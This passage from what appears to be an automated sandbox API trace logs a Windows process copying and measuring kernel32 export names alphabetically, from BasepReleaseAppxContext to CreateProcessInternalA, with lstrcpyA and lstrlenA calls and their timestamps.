(lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0102.819] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0102.819] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0102.819] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0102.819] lstrlenA (lpString="BEEP") returned 4 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0102.819] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0102.819] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0102.819] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0102.820] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0102.820] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0102.820] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0102.820] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0102.820] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0102.820] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0102.820] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0102.820] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0102.820] lstrlenA (lpString="CANCELIO") returned 8 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0102.820] lstrlenA (lpString="CANCELIOEX") returned 10 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0102.820] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0102.820] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0102.820] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0102.820] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0102.820] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0102.820] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0102.820] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0102.821] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0102.821] lstrlenA (lpString="CHECKELEVATION") returned 14 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0102.821] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0102.821] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0102.821] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0102.821] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0102.821] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0102.821] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0102.821] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0102.821] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0102.821] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0102.821] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0102.821] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0102.821] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0102.821] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0102.821] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0102.822] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0102.822] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0102.822] lstrlenA (lpString="CLOSESTATE") returned 10 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0102.822] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0102.822] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0102.822] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0102.822] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0102.822] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0102.822] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0102.822] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0102.822] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0102.822] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0102.822] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0102.822] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0102.822] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0102.822] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0102.822] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0102.823] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0102.823] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0102.823] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0102.823] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0102.823] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0102.823] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0102.823] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0102.823] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0102.823] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0102.823] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0102.823] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0102.823] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0102.823] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0102.823] lstrlenA (lpString="COPYCONTEXT") returned 11 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0102.823] lstrlenA (lpString="COPYFILE2") returned 9 [0102.823] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0102.824] lstrlenA (lpString="COPYFILEA") returned 9 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0102.824] lstrlenA (lpString="COPYFILEEXA") returned 11 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0102.824] lstrlenA (lpString="COPYFILEEXW") returned 11 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0102.824] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0102.824] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0102.824] lstrlenA (lpString="COPYFILEW") returned 9 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0102.824] lstrlenA (lpString="COPYLZFILE") returned 10 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0102.824] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0102.824] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0102.824] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0102.824] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0102.824] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0102.824] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0102.824] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0102.824] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0102.824] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0102.824] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0102.825] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0102.825] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0102.825] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0102.825] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0102.825] lstrlenA (lpString="CREATEEVENTA") returned 12 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0102.825] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0102.825] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0102.825] lstrlenA (lpString="CREATEEVENTW") returned 12 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0102.825] lstrlenA (lpString="CREATEFIBER") returned 11 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0102.825] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0102.825] lstrlenA (lpString="CREATEFILE2") returned 11 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0102.825] lstrlenA (lpString="CREATEFILEA") returned 11 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0102.825] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0102.825] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0102.825] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0102.825] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0102.826] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0102.826] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0102.827] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0102.827] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0102.827] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0102.827] lstrlenA (lpString="CREATEFILEW") returned 11 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0102.827] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0102.827] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0102.827] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0102.827] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0102.827] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0102.827] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0102.827] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0102.827] lstrlenA (lpString="CREATEJOBSET") returned 12 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0102.827] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0102.827] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0102.827] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0102.828] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0102.828] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0102.828] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0102.828] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0102.828] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0102.828] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0102.828] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0102.828] lstrlenA (lpString="CREATEPIPE") returned 10 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0102.828] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0102.828] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0102.828] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0102.828] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0102.828] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0102.828] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0102.828] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0102.828] 